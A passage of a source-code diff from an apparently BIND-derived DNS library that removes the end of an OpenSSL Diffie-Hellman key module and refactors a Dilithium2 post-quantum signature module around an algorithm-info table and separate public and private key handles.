-		if (BN_cmp(priv_key1, priv_key2) != 0) {
-			return (false);
-		}
-	}
-	return (true);
-}
-
-static bool
-openssldh_paramcompare(const dst_key_t *key1, const dst_key_t *key2) {
-	DH *dh1, *dh2;
-	const BIGNUM *p1 = NULL, *g1 = NULL, *p2 = NULL, *g2 = NULL;
-
-	dh1 = key1->keydata.dh;
-	dh2 = key2->keydata.dh;
-
-	if (dh1 == NULL && dh2 == NULL) {
-		return (true);
-	} else if (dh1 == NULL || dh2 == NULL) {
-		return (false);
-	}
-
-	DH_get0_pqg(dh1, &p1, NULL, &g1);
-	DH_get0_pqg(dh2, &p2, NULL, &g2);
-
-	if (BN_cmp(p1, p2) != 0 || BN_cmp(g1, g2) != 0) {
-		return (false);
-	}
-	return (true);
-}
-
-static int
-progress_cb(int p, int n, BN_GENCB *cb) {
-	union {
-		void *dptr;
-		void (*fptr)(int);
-	} u;
-
-	UNUSED(n);
-
-	u.dptr = BN_GENCB_get_arg(cb);
-	if (u.fptr != NULL) {
-		u.fptr(p);
-	}
-	return (1);
-}
-
-static isc_result_t
-openssldh_generate(dst_key_t *key, int generator, void (*callback)(int)) {
-	DH *dh = NULL;
-	BN_GENCB *cb;
-#if OPENSSL_VERSION_NUMBER < 0x10100000L || defined(LIBRESSL_VERSION_NUMBER)
-	BN_GENCB _cb;
-#endif /* if OPENSSL_VERSION_NUMBER < 0x10100000L || \
-	* defined(LIBRESSL_VERSION_NUMBER) */
-	union {
-		void *dptr;
-		void (*fptr)(int);
-	} u;
-
-	if (generator == 0) {
-		if (key->key_size == 768 || key->key_size == 1024 ||
-		    key->key_size == 1536) {
-			BIGNUM *p, *g;
-			dh = DH_new();
-			if (key->key_size == 768) {
-				p = BN_dup(bn768);
-			} else if (key->key_size == 1024) {
-				p = BN_dup(bn1024);
-			} else {
-				p = BN_dup(bn1536);
-			}
-			g = BN_dup(bn2);
-			if (dh == NULL || p == NULL || g == NULL) {
-				if (dh != NULL) {
-					DH_free(dh);
-				}
-				if (p != NULL) {
-					BN_free(p);
-				}
-				if (g != NULL) {
-					BN_free(g);
-				}
-				return (dst__openssl_toresult(ISC_R_NOMEMORY));
-			}
-			DH_set0_pqg(dh, p, NULL, g);
-		} else {
-			generator = 2;
-		}
-	}
-
-	if (generator != 0) {
-		dh = DH_new();
-		if (dh == NULL) {
-			return (dst__openssl_toresult(ISC_R_NOMEMORY));
-		}
-		cb = BN_GENCB_new();
-#if OPENSSL_VERSION_NUMBER >= 0x10100000L && !defined(LIBRESSL_VERSION_NUMBER)
-		if (cb == NULL) {
-			DH_free(dh);
-			return (dst__openssl_toresult(ISC_R_NOMEMORY));
-		}
-#endif /* if OPENSSL_VERSION_NUMBER >= 0x10100000L && \
-	* !defined(LIBRESSL_VERSION_NUMBER) */
-		if (callback == NULL) {
-			BN_GENCB_set_old(cb, NULL, NULL);
-		} else {
-			u.fptr = callback;
-			BN_GENCB_set(cb, progress_cb, u.dptr);
-		}
-
-		if (!DH_generate_parameters_ex(dh, key->key_size, generator,
-					       cb)) {
-			DH_free(dh);
-			BN_GENCB_free(cb);
-			return (dst__openssl_toresult2("DH_generate_parameters_"
-						       "ex",
-						       DST_R_OPENSSLFAILURE));
-		}
-		BN_GENCB_free(cb);
-		cb = NULL;
-	}
-
-	if (DH_generate_key(dh) == 0) {
-		DH_free(dh);
-		return (dst__openssl_toresult2("DH_generate_key",
-					       DST_R_OPENSSLFAILURE));
-	}
-	DH_clear_flags(dh, DH_FLAG_CACHE_MONT_P);
-	key->keydata.dh = dh;
-
-	return (ISC_R_SUCCESS);
-}
-
-static bool
-openssldh_isprivate(const dst_key_t *key) {
-	DH *dh = key->keydata.dh;
-	const BIGNUM *priv_key = NULL;
-
-	DH_get0_key(dh, NULL, &priv_key);
-	return (dh != NULL && priv_key != NULL);
-}
-
-static void
-openssldh_destroy(dst_key_t *key) {
-	DH *dh = key->keydata.dh;
-
-	if (dh == NULL) {
-		return;
-	}
-
-	DH_free(dh);
-	key->keydata.dh = NULL;
-}
-
-static void
-uint16_toregion(uint16_t val, isc_region_t *region) {
-	*region->base = (val & 0xff00) >> 8;
-	isc_region_consume(region, 1);
-	*region->base = (val & 0x00ff);
-	isc_region_consume(region, 1);
-}
-
-static uint16_t
-uint16_fromregion(isc_region_t *region) {
-	uint16_t val;
-	unsigned char *cp = region->base;
-
-	val = ((unsigned int)(cp[0])) << 8;
-	val |= ((unsigned int)(cp[1]));
-
-	isc_region_consume(region, 2);
-
-	return (val);
-}
-
-static isc_result_t
-openssldh_todns(const dst_key_t *key, isc_buffer_t *data) {
-	DH *dh;
-	const BIGNUM *pub_key = NULL, *p = NULL, *g = NULL;
-	isc_region_t r;
-	uint16_t dnslen, plen, glen, publen;
-
-	REQUIRE(key->keydata.dh != NULL);
-
-	dh = key->keydata.dh;
-
-	isc_buffer_availableregion(data, &r);
-
-	DH_get0_pqg(dh, &p, NULL, &g);
-	if (BN_cmp(g, bn2) == 0 &&
-	    (BN_cmp(p, bn768) == 0 || BN_cmp(p, bn1024) == 0 ||
-	     BN_cmp(p, bn1536) == 0))
-	{
-		plen = 1;
-		glen = 0;
-	} else {
-		plen = BN_num_bytes(p);
-		glen = BN_num_bytes(g);
-	}
-	DH_get0_key(dh, &pub_key, NULL);
-	publen = BN_num_bytes(pub_key);
-	dnslen = plen + glen + publen + 6;
-	if (r.length < (unsigned int)dnslen) {
-		return (ISC_R_NOSPACE);
-	}
-
-	uint16_toregion(plen, &r);
-	if (plen == 1) {
-		if (BN_cmp(p, bn768) == 0) {
-			*r.base = 1;
-		} else if (BN_cmp(p, bn1024) == 0) {
-			*r.base = 2;
-		} else {
-			*r.base = 3;
-		}
-	} else {
-		BN_bn2bin(p, r.base);
-	}
-	isc_region_consume(&r, plen);
-
-	uint16_toregion(glen, &r);
-	if (glen > 0) {
-		BN_bn2bin(g, r.base);
-	}
-	isc_region_consume(&r, glen);
-
-	uint16_toregion(publen, &r);
-	BN_bn2bin(pub_key, r.base);
-	isc_region_consume(&r, publen);
-
-	isc_buffer_add(data, dnslen);
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-openssldh_fromdns(dst_key_t *key, isc_buffer_t *data) {
-	DH *dh;
-	BIGNUM *pub_key = NULL, *p = NULL, *g = NULL;
-	isc_region_t r;
-	uint16_t plen, glen, publen;
-	int special = 0;
-
-	isc_buffer_remainingregion(data, &r);
-	if (r.length == 0) {
-		return (ISC_R_SUCCESS);
-	}
-
-	dh = DH_new();
-	if (dh == NULL) {
-		return (dst__openssl_toresult(ISC_R_NOMEMORY));
-	}
-	DH_clear_flags(dh, DH_FLAG_CACHE_MONT_P);
-
-	/*
-	 * Read the prime length.  1 & 2 are table entries, > 16 means a
-	 * prime follows, otherwise an error.
-	 */
-	if (r.length < 2) {
-		DH_free(dh);
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-	plen = uint16_fromregion(&r);
-	if (plen < 16 && plen != 1 && plen != 2) {
-		DH_free(dh);
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-	if (r.length < plen) {
-		DH_free(dh);
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-	if (plen == 1 || plen == 2) {
-		if (plen == 1) {
-			special = *r.base;
-			isc_region_consume(&r, 1);
-		} else {
-			special = uint16_fromregion(&r);
-		}
-		switch (special) {
-		case 1:
-			p = BN_dup(bn768);
-			break;
-		case 2:
-			p = BN_dup(bn1024);
-			break;
-		case 3:
-			p = BN_dup(bn1536);
-			break;
-		default:
-			DH_free(dh);
-			return (DST_R_INVALIDPUBLICKEY);
-		}
-	} else {
-		p = BN_bin2bn(r.base, plen, NULL);
-		isc_region_consume(&r, plen);
-	}
-
-	/*
-	 * Read the generator length.  This should be 0 if the prime was
-	 * special, but it might not be.  If it's 0 and the prime is not
-	 * special, we have a problem.
-	 */
-	if (r.length < 2) {
-		DH_free(dh);
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-	glen = uint16_fromregion(&r);
-	if (r.length < glen) {
-		DH_free(dh);
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-	if (special != 0) {
-		if (glen == 0) {
-			g = BN_dup(bn2);
-		} else {
-			g = BN_bin2bn(r.base, glen, NULL);
-			if (g != NULL && BN_cmp(g, bn2) != 0) {
-				DH_free(dh);
-				BN_free(g);
-				return (DST_R_INVALIDPUBLICKEY);
-			}
-		}
-	} else {
-		if (glen == 0) {
-			DH_free(dh);
-			return (DST_R_INVALIDPUBLICKEY);
-		}
-		g = BN_bin2bn(r.base, glen, NULL);
-	}
-	isc_region_consume(&r, glen);
-
-	if (p == NULL || g == NULL) {
-		DH_free(dh);
-		if (p != NULL) {
-			BN_free(p);
-		}
-		if (g != NULL) {
-			BN_free(g);
-		}
-		return (dst__openssl_toresult(ISC_R_NOMEMORY));
-	}
-	DH_set0_pqg(dh, p, NULL, g);
-
-	if (r.length < 2) {
-		DH_free(dh);
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-	publen = uint16_fromregion(&r);
-	if (r.length < publen) {
-		DH_free(dh);
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-	pub_key = BN_bin2bn(r.base, publen, NULL);
-	if (pub_key == NULL) {
-		DH_free(dh);
-		return (dst__openssl_toresult(ISC_R_NOMEMORY));
-	}
-#if (LIBRESSL_VERSION_NUMBER >= 0x2070000fL) && \
-	(LIBRESSL_VERSION_NUMBER <= 0x2070200fL)
-	/*
-	 * LibreSSL << 2.7.3 DH_get0_key requires priv_key to be set when
-	 * DH structure is empty, hence we cannot use DH_get0_key().
-	 */
-	dh->pub_key = pub_key;
-#else  /* LIBRESSL_VERSION_NUMBER */
-	DH_set0_key(dh, pub_key, NULL);
-#endif /* LIBRESSL_VERSION_NUMBER */
-	isc_region_consume(&r, publen);
-
-	key->key_size = BN_num_bits(p);
-
-	isc_buffer_forward(data, plen + glen + publen + 6);
-
-	key->keydata.dh = dh;
-
-	return (ISC_R_SUCCESS);
-}
-
-static isc_result_t
-openssldh_tofile(const dst_key_t *key, const char *directory) {
-	int i;
-	DH *dh;
-	const BIGNUM *pub_key = NULL, *priv_key = NULL, *p = NULL, *g = NULL;
-	dst_private_t priv;
-	unsigned char *bufs[4];
-	isc_result_t result;
-
-	if (key->keydata.dh == NULL) {
-		return (DST_R_NULLKEY);
-	}
-
-	if (key->external) {
-		return (DST_R_EXTERNALKEY);
-	}
-
-	dh = key->keydata.dh;
-	DH_get0_key(dh, &pub_key, &priv_key);
-	DH_get0_pqg(dh, &p, NULL, &g);
-
-	memset(bufs, 0, sizeof(bufs));
-	for (i = 0; i < 4; i++) {
-		bufs[i] = isc_mem_get(key->mctx, BN_num_bytes(p));
-	}
-
-	i = 0;
-
-	priv.elements[i].tag = TAG_DH_PRIME;
-	priv.elements[i].length = BN_num_bytes(p);
-	BN_bn2bin(p, bufs[i]);
-	priv.elements[i].data = bufs[i];
-	i++;
-
-	priv.elements[i].tag = TAG_DH_GENERATOR;
-	priv.elements[i].length = BN_num_bytes(g);
-	BN_bn2bin(g, bufs[i]);
-	priv.elements[i].data = bufs[i];
-	i++;
-
-	priv.elements[i].tag = TAG_DH_PRIVATE;
-	priv.elements[i].length = BN_num_bytes(priv_key);
-	BN_bn2bin(priv_key, bufs[i]);
-	priv.elements[i].data = bufs[i];
-	i++;
-
-	priv.elements[i].tag = TAG_DH_PUBLIC;
-	priv.elements[i].length = BN_num_bytes(pub_key);
-	BN_bn2bin(pub_key, bufs[i]);
-	priv.elements[i].data = bufs[i];
-	i++;
-
-	priv.nelements = i;
-	result = dst__privstruct_writefile(key, &priv, directory);
-
-	for (i = 0; i < 4; i++) {
-		if (bufs[i] == NULL) {
-			break;
-		}
-		isc_mem_put(key->mctx, bufs[i], BN_num_bytes(p));
-	}
-	return (result);
-}
-
-static isc_result_t
-openssldh_parse(dst_key_t *key, isc_lex_t *lexer, dst_key_t *pub) {
-	dst_private_t priv;
-	isc_result_t ret;
-	int i;
-	DH *dh = NULL;
-	BIGNUM *pub_key = NULL, *priv_key = NULL, *p = NULL, *g = NULL;
-	isc_mem_t *mctx;
-#define DST_RET(a)        \
-	{                 \
-		ret = a;  \
-		goto err; \
-	}
-
-	UNUSED(pub);
-	mctx = key->mctx;
-
-	/* read private key file */
-	ret = dst__privstruct_parse(key, DST_ALG_DH, lexer, mctx, &priv);
-	if (ret != ISC_R_SUCCESS) {
-		return (ret);
-	}
-
-	if (key->external) {
-		DST_RET(DST_R_EXTERNALKEY);
-	}
-
-	dh = DH_new();
-	if (dh == NULL) {
-		DST_RET(ISC_R_NOMEMORY);
-	}
-	DH_clear_flags(dh, DH_FLAG_CACHE_MONT_P);
-	key->keydata.dh = dh;
-
-	for (i = 0; i < priv.nelements; i++) {
-		BIGNUM *bn;
-		bn = BN_bin2bn(priv.elements[i].data, priv.elements[i].length,
-			       NULL);
-		if (bn == NULL) {
-			DST_RET(ISC_R_NOMEMORY);
-		}
-
-		switch (priv.elements[i].tag) {
-		case TAG_DH_PRIME:
-			p = bn;
-			break;
-		case TAG_DH_GENERATOR:
-			g = bn;
-			break;
-		case TAG_DH_PRIVATE:
-			priv_key = bn;
-			break;
-		case TAG_DH_PUBLIC:
-			pub_key = bn;
-			break;
-		}
-	}
-	dst__privstruct_free(&priv, mctx);
-	DH_set0_key(dh, pub_key, priv_key);
-	DH_set0_pqg(dh, p, NULL, g);
-
-	key->key_size = BN_num_bits(p);
-	return (ISC_R_SUCCESS);
-
-err:
-	if (p != NULL) {
-		BN_free(p);
-	}
-	if (g != NULL) {
-		BN_free(g);
-	}
-	if (pub_key != NULL) {
-		BN_free(pub_key);
-	}
-	if (priv_key != NULL) {
-		BN_free(priv_key);
-	}
-	openssldh_destroy(key);
-	dst__privstruct_free(&priv, mctx);
-	isc_safe_memwipe(&priv, sizeof(priv));
-	return (ret);
-}
-
-static void
-openssldh_cleanup(void) {
-	BN_free(bn2);
-	bn2 = NULL;
-
-	BN_free(bn768);
-	bn768 = NULL;
-
-	BN_free(bn1024);
-	bn1024 = NULL;
-
-	BN_free(bn1536);
-	bn1536 = NULL;
-}
-
-static dst_func_t openssldh_functions = {
-	NULL, /*%< createctx */
-	NULL, /*%< createctx2 */
-	NULL, /*%< destroyctx */
-	NULL, /*%< adddata */
-	NULL, /*%< openssldh_sign */
-	NULL, /*%< openssldh_verify */
-	NULL, /*%< openssldh_verify2 */
-	openssldh_computesecret,
-	openssldh_compare,
-	openssldh_paramcompare,
-	openssldh_generate,
-	openssldh_isprivate,
-	openssldh_destroy,
-	openssldh_todns,
-	openssldh_fromdns,
-	openssldh_tofile,
-	openssldh_parse,
-	openssldh_cleanup,
-	NULL, /*%< fromlabel */
-	NULL, /*%< dump */
-	NULL, /*%< restore */
-};
-
-isc_result_t
-dst__openssldh_init(dst_func_t **funcp) {
-	REQUIRE(funcp != NULL);
-	if (*funcp == NULL) {
-		if (BN_hex2bn(&bn2, PRIME2) == 0 || bn2 == NULL) {
-			goto cleanup;
-		}
-		if (BN_hex2bn(&bn768, PRIME768) == 0 || bn768 == NULL) {
-			goto cleanup;
-		}
-		if (BN_hex2bn(&bn1024, PRIME1024) == 0 || bn1024 == NULL) {
-			goto cleanup;
-		}
-		if (BN_hex2bn(&bn1536, PRIME1536) == 0 || bn1536 == NULL) {
-			goto cleanup;
-		}
-		*funcp = &openssldh_functions;
-	}
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (bn2 != NULL) {
-		BN_free(bn2);
-	}
-	if (bn768 != NULL) {
-		BN_free(bn768);
-	}
-	if (bn1024 != NULL) {
-		BN_free(bn1024);
-	}
-	if (bn1536 != NULL) {
-		BN_free(bn1536);
-	}
-	return (ISC_R_NOMEMORY);
-}
diff --git a/lib/dns/openssldilithium2_link.c b/lib/dns/openssldilithium2_link.c
index 013a581271..7ec22fced6 100644
--- a/lib/dns/openssldilithium2_link.c
+++ b/lib/dns/openssldilithium2_link.c
@@ -28,54 +28,71 @@
 
 #include <dns/keyvalues.h>
 
-#include <dst/result.h>
-
 #include "dst_internal.h"
 #include "dst_openssl.h"
 #include "dst_parse.h"
 
-#ifndef NID_X9_62_prime256v1
-#error "P-256 group is not known (NID_X9_62_prime256v1)"
-#endif /* ifndef NID_X9_62_prime256v1 */
-#ifndef NID_secp384r1
-#error "P-384 group is not known (NID_secp384r1)"
-#endif /* ifndef NID_secp384r1 */
-
-#define DILITHIUM2_PUBLICKEY_SIZE 1312
-#define DILITHIUM2_PRIVATEKEY_SIZE 2528
-
-
 #define DST_RET(a)        \
 	{                 \
 		ret = a;  \
 		goto err; \
 	}
 
-static bool
-isprivate(EVP_PKEY *pkey) {
-	size_t len;
+#define DILITHIUM2_PRIVATEKEYSIZE 2528
 
-	if (pkey == NULL) {
-		return (false);
+typedef struct dilithium2_alginfo {
+	int pkey_type;
+	unsigned int key_size, priv_key_size, sig_size;
+} dilithium2_alginfo_t;
+
+static const dilithium2_alginfo_t *
+openssldilithium2_alg_info(unsigned int key_alg) {
+	if (key_alg == DST_ALG_DILITHIUM2) {
+		static const dilithium2_alginfo_t dilithium2_alginfo = {
+			.pkey_type = EVP_PKEY_DILITHIUM2,
+			.key_size = DNS_KEY_DILITHIUM2SIZE,
+			.priv_key_size = DILITHIUM2_PRIVATEKEYSIZE,
+			.sig_size = DNS_SIG_DILITHIUM2SIZE,
+		};
+		return &dilithium2_alginfo;
 	}
+	return NULL;
+}
+
+static isc_result_t
+raw_key_to_ossl(const dilithium2_alginfo_t *alginfo, int private,
+		const unsigned char *key, size_t *key_len, EVP_PKEY **pkey) {
+	isc_result_t ret;
+	int pkey_type = alginfo->pkey_type;
 
-	if (EVP_PKEY_get_raw_private_key(pkey, NULL, &len) == 1 && len > 0) {
-		return (true);
+	ret = (private ? DST_R_INVALIDPRIVATEKEY : DST_R_INVALIDPUBLICKEY);
+	if (private) {
+		if (*key_len < alginfo->priv_key_size) {
+			return (ret);
+		}
+		*pkey = EVP_PKEY_new_raw_private_key(pkey_type, NULL, key, alginfo->priv_key_size);
+	} else {
+		if (*key_len < alginfo->key_size) {
+			return (ret);
+		}
+		*pkey = EVP_PKEY_new_raw_public_key(pkey_type, NULL, key, alginfo->key_size);
 	}
-	/* can check if first error is EC_R_INVALID_PRIVATE_KEY */
-	while (ERR_get_error() != 0) {
-		/**/
+	if (*pkey == NULL) {
+		return (dst__openssl_toresult(ret));
 	}
-	return (false);
-
+	*key_len = (private ? alginfo->priv_key_size : alginfo->key_size);
+	return (ISC_R_SUCCESS);
 }
 
 static isc_result_t
 openssldilithium2_createctx(dst_key_t *key, dst_context_t *dctx) {
 	isc_buffer_t *buf = NULL;
+	const dilithium2_alginfo_t *alginfo =
+		openssldilithium2_alg_info(dctx->key->key_alg);
 
 	UNUSED(key);
-	REQUIRE(dctx->key->key_alg == DST_ALG_DILITHIUM2);
+
+	REQUIRE(alginfo != NULL);
 
 	isc_buffer_allocate(dctx->mctx, &buf, 64);
 	dctx->ctxdata.generic = buf;
@@ -86,8 +103,11 @@ openssldilithium2_createctx(dst_key_t *key, dst_context_t *dctx) {
 static void
 openssldilithium2_destroyctx(dst_context_t *dctx) {
 	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
+	const dilithium2_alginfo_t *alginfo =
+		openssldilithium2_alg_info(dctx->key->key_alg);
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_DILITHIUM2);
+	REQUIRE(alginfo != NULL);
+	
 	if (buf != NULL) {
 		isc_buffer_free(&buf);
 	}
@@ -101,8 +121,11 @@ openssldilithium2_adddata(dst_context_t *dctx, const isc_region_t *data) {
 	isc_region_t r;
 	unsigned int length;
 	isc_result_t result;
+	const dilithium2_alginfo_t *alginfo =
+		openssldilithium2_alg_info(dctx->key->key_alg);
+
+	REQUIRE(alginfo != NULL);
 
-	REQUIRE(dctx->key->key_alg == DST_ALG_DILITHIUM2);
 	result = isc_buffer_copyregion(buf, data);
 	if (result == ISC_R_SUCCESS) {
 		return (ISC_R_SUCCESS);
@@ -125,24 +148,20 @@ openssldilithium2_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 	dst_key_t *key = dctx->key;
 	isc_region_t tbsreg;
 	isc_region_t sigreg;
-	EVP_PKEY *pkey = key->keydata.pkey;
+	EVP_PKEY *pkey = key->keydata.pkeypair.priv;
 	EVP_MD_CTX *ctx = EVP_MD_CTX_new();
 	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
 	size_t siglen;
+	const dilithium2_alginfo_t *alginfo = openssldilithium2_alg_info(key->key_alg);
+
+	REQUIRE(alginfo != NULL);
 
-	REQUIRE(key->key_alg == DST_ALG_DILITHIUM2);
 	if (ctx == NULL) {
 		return (ISC_R_NOMEMORY);
 	}
 
-	siglen = DNS_SIG_DILITHIUM2SIZE;
-
+	siglen = alginfo->sig_size;
 	isc_buffer_availableregion(sig, &sigreg);
-	// zero out buffer
-	unsigned char *_sig = sigreg.base;
-	for (size_t i = 0; i < siglen; i++) {
-		_sig[i] = 0;
-	}
 	if (sigreg.length < (unsigned int)siglen) {
 		DST_RET(ISC_R_NOSPACE);
 	}
@@ -156,7 +175,7 @@ openssldilithium2_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 		DST_RET(dst__openssl_toresult3(dctx->category, "EVP_DigestSign",
 					       DST_R_SIGNFAILURE));
 	}
-	siglen = DNS_SIG_DILITHIUM2SIZE;
+	REQUIRE(siglen == alginfo->sig_size);
 	isc_buffer_add(sig, (unsigned int)siglen);
 	ret = ISC_R_SUCCESS;
 
@@ -165,7 +184,6 @@ openssldilithium2_sign(dst_context_t *dctx, isc_buffer_t *sig) {
 	isc_buffer_free(&buf);
 	dctx->ctxdata.generic = NULL;
 	return (ret);
-
 }
 
 static isc_result_t
@@ -174,38 +192,20 @@ openssldilithium2_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	dst_key_t *key = dctx->key;
 	int status;
 	isc_region_t tbsreg;
-	EVP_PKEY *pkey = key->keydata.pkey;
+	EVP_PKEY *pkey = key->keydata.pkeypair.pub;
 	EVP_MD_CTX *ctx = EVP_MD_CTX_new();
 	isc_buffer_t *buf = (isc_buffer_t *)dctx->ctxdata.generic;
-	unsigned int siglen = 0;
+	const dilithium2_alginfo_t *alginfo = openssldilithium2_alg_info(key->key_alg);
 
-	REQUIRE(key->key_alg == DST_ALG_DILITHIUM2);
+	REQUIRE(alginfo != NULL);
 
 	if (ctx == NULL) {
 		return (ISC_R_NOMEMORY);
 	}
 
-	siglen = DNS_SIG_DILITHIUM2SIZE;
-	if (siglen == 0) {
-		return (ISC_R_NOTIMPLEMENTED);
-	}
-
-	if (sig->length != siglen) {
+	if (sig->length != alginfo->sig_size) {
 		return (DST_R_VERIFYFAILURE);
 	}
-	unsigned char *_sig = sig->base;
-	int ending_key = -1;
-        if (siglen == DNS_SIG_DILITHIUM2SIZE) {
-                for (unsigned int i = 0; i < siglen; i++) {
-                        if (_sig[i] == 0 && ending_key == -1) ending_key = i;
-                        else if (_sig[i] == 0) continue;
-                        else ending_key = -1;
-                }
-        }
-        if (ending_key != -1) {
-                siglen = ending_key;
-        }
-
 	isc_buffer_usedregion(buf, &tbsreg);
 
 	if (EVP_DigestVerifyInit(ctx, NULL, NULL, NULL, pkey) != 1) {
@@ -213,7 +213,7 @@ openssldilithium2_verify(dst_context_t *dctx, const isc_region_t *sig) {
 			dctx->category, "EVP_DigestVerifyInit", ISC_R_FAILURE));
 	}
 
-	status = EVP_DigestVerify(ctx, sig->base, siglen, tbsreg.base,
+	status = EVP_DigestVerify(ctx, sig->base, sig->length, tbsreg.base,
 				  tbsreg.length);
 
 	switch (status) {
@@ -237,66 +237,58 @@ openssldilithium2_verify(dst_context_t *dctx, const isc_region_t *sig) {
 	return (ret);
 }
 
-static bool
-openssldilithium2_compare(const dst_key_t *key1, const dst_key_t *key2) {
-	
-	EVP_PKEY *pkey1 = key1->keydata.pkey;
-	EVP_PKEY *pkey2 = key2->keydata.pkey;
-
-	return (EVP_PKEY_cmp(pkey1, pkey2));
-}
-
 static isc_result_t
 openssldilithium2_generate(dst_key_t *key, int unused, void (*callback)(int)) {
 	isc_result_t ret;
 	EVP_PKEY *pkey = NULL;
-	EVP_PKEY_CTX *pkctx = NULL;
-	REQUIRE(key->key_alg == DST_ALG_DILITHIUM2);
+	EVP_PKEY_CTX *ctx = NULL;
+	int status;
+	const dilithium2_alginfo_t *alginfo = openssldilithium2_alg_info(key->key_alg);
+
 	UNUSED(unused);
 	UNUSED(callback);
-	key->key_size = DNS_KEY_DILITHIUM2SIZE;
+	
+	REQUIRE(alginfo != NULL);
 
-	if ((pkctx = EVP_PKEY_CTX_new_id(EVP_PKEY_DILITHIUM2, NULL)) == NULL) {
+	ctx = EVP_PKEY_CTX_new_id(alginfo->pkey_type, NULL);
+	if (ctx == NULL) {
 		return (dst__openssl_toresult2("EVP_PKEY_CTX_new_id",
 							DST_R_OPENSSLFAILURE));
 	}
-	if (EVP_PKEY_keygen_init(pkctx) != 1) {
-		return (dst__openssl_toresult2("EVP_PKEY_keygen_init",
-							DST_R_OPENSSLFAILURE));
+
+	status = EVP_PKEY_keygen_init(ctx);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_keygen_init",
+						DST_R_OPENSSLFAILURE));
 	}
-	if (EVP_PKEY_keygen(pkctx, &pkey) != 1) {
-		return (dst__openssl_toresult2("EVP_PKEY_keygen",
-							DST_R_OPENSSLFAILURE));
+
+	status = EVP_PKEY_keygen(ctx, &pkey);
+	if (status != 1) {
+		DST_RET(dst__openssl_toresult2("EVP_PKEY_keygen",
+						DST_R_OPENSSLFAILURE));
 	}
-	key->keydata.pkey = pkey;
-	ret = ISC_R_SUCCESS;
-	EVP_PKEY_CTX_free(pkctx);
-	return (ret);
-}
 
-static bool
-openssldilithium2_isprivate(const dst_key_t *key) {
-	EVP_PKEY *pkey = key->keydata.pkey;
-	return isprivate(pkey);
-}
+	key->key_size = alginfo->key_size * 8;
+	key->keydata.pkeypair.priv = pkey;
+	key->keydata.pkeypair.pub = pkey;
+	ret = ISC_R_SUCCESS;
 
-static void
-openssldilithium2_destroy(dst_key_t *key) {
-	EVP_PKEY *pkey = key->keydata.pkey;
-	EVP_PKEY_free(pkey);
-	key->keydata.pkey = NULL;
+err:
+	EVP_PKEY_CTX_free(ctx);
+	return (ret);
 }
 
 static isc_result_t
 openssldilithium2_todns(const dst_key_t *key, isc_buffer_t *data) {
-	EVP_PKEY *pkey = key->keydata.pkey;
+	EVP_PKEY *pkey = key->keydata.pkeypair.pub;
 	isc_region_t r;
 	size_t len;
+	const dilithium2_alginfo_t *alginfo = openssldilithium2_alg_info(key->key_alg);
 
 	REQUIRE(pkey != NULL);
-	REQUIRE(key->key_alg == DST_ALG_DILITHIUM2);
-	len = DNS_KEY_DILITHIUM2SIZE;
-
+	REQUIRE(alginfo != NULL);
+	
+	len = alginfo->key_size;
 	isc_buffer_availableregion(data, &r);
 	if (r.length < len) {
 		return (ISC_R_NOSPACE);
@@ -311,11 +303,13 @@ openssldilithium2_todns(const dst_key_t *key, isc_buffer_t *data) {
 
 static isc_result_t
 openssldilithium2_fromdns(dst_key_t *key, isc_buffer_t *data) {
+	isc_result_t ret;
 	isc_region_t r;
 	size_t len;
-	EVP_PKEY *pkey;
+	EVP_PKEY *pkey = NULL;
+	const dilithium2_alginfo_t *alginfo = openssldilithium2_alg_info(key->key_alg);
 
-	REQUIRE(key->key_alg == DST_ALG_DILITHIUM2);
+	REQUIRE(alginfo != NULL);
 
 	isc_buffer_remainingregion(data, &r);
 	if (r.length == 0) {
@@ -323,52 +317,33 @@ openssldilithium2_fromdns(dst_key_t *key, isc_buffer_t *data) {
 	}
 
 	len = r.length;
-	if (len < DNS_KEY_DILITHIUM2SIZE) {
-		return (DST_R_INVALIDPUBLICKEY);
-	}
-
-	pkey = EVP_PKEY_new_raw_public_key(EVP_PKEY_DILITHIUM2, NULL, r.base, len);
-	if (pkey == NULL) {
-		return (dst__openssl_toresult(DST_R_INVALIDPUBLICKEY));
+	ret = raw_key_to_ossl(alginfo, 0, r.base, &len, &pkey);
+	if (ret != ISC_R_SUCCESS) {
+		return ret;
 	}
 
 	isc_buffer_forward(data, len);
-	key->keydata.pkey = pkey;
-	key->key_size = len;
+	key->keydata.pkeypair.pub = pkey;
+	key->key_size = len * 8;
 	return (ISC_R_SUCCESS);
-
 }
 
-typedef struct
-{
-  /* OpenSSL NID */
-  int nid;
-  /* OQS signature context */
-  OQS_SIG *s;
-  /* OQS public key */
-  uint8_t *pubkey;
-  /* OQS private key */
-  uint8_t *privkey;
-  /* Classical key pair for hybrid schemes; either a private or public key depending on context */
-  EVP_PKEY *classical_pkey;
-  /* Security bits for the scheme */
-  int security_bits;
-  /* digest engine for CMS: */
-  EVP_MD_CTX * digest;
-} OQS_KEY;
-
 static isc_result_t
 openssldilithium2_tofile(const dst_key_t *key, const char *directory) {
 	isc_result_t ret;
 	dst_private_t priv;
 	unsigned char *pubbuf = NULL;
 	unsigned char *privbuf = NULL;
-	size_t publen = DILITHIUM2_PUBLICKEY_SIZE;
-	size_t privlen = DILITHIUM2_PRIVATEKEY_SIZE;
+	size_t publen;
+	size_t privlen;
 	int i;
+	const dilithium2_alginfo_t *alginfo = openssldilithium2_alg_info(key->key_alg);
 
-	REQUIRE(key->key_alg == DST_ALG_DILITHIUM2);
-	if (key->keydata.pkey == NULL) {
+	REQUIRE(alginfo != NULL);
+
+	publen = alginfo->key_size;
+	privlen = alginfo->priv_key_size;
+	if (key->keydata.pkeypair.pub == NULL || key->keydata.pkeypair.priv == NULL) {
 		return (DST_R_NULLKEY);
 	}
 
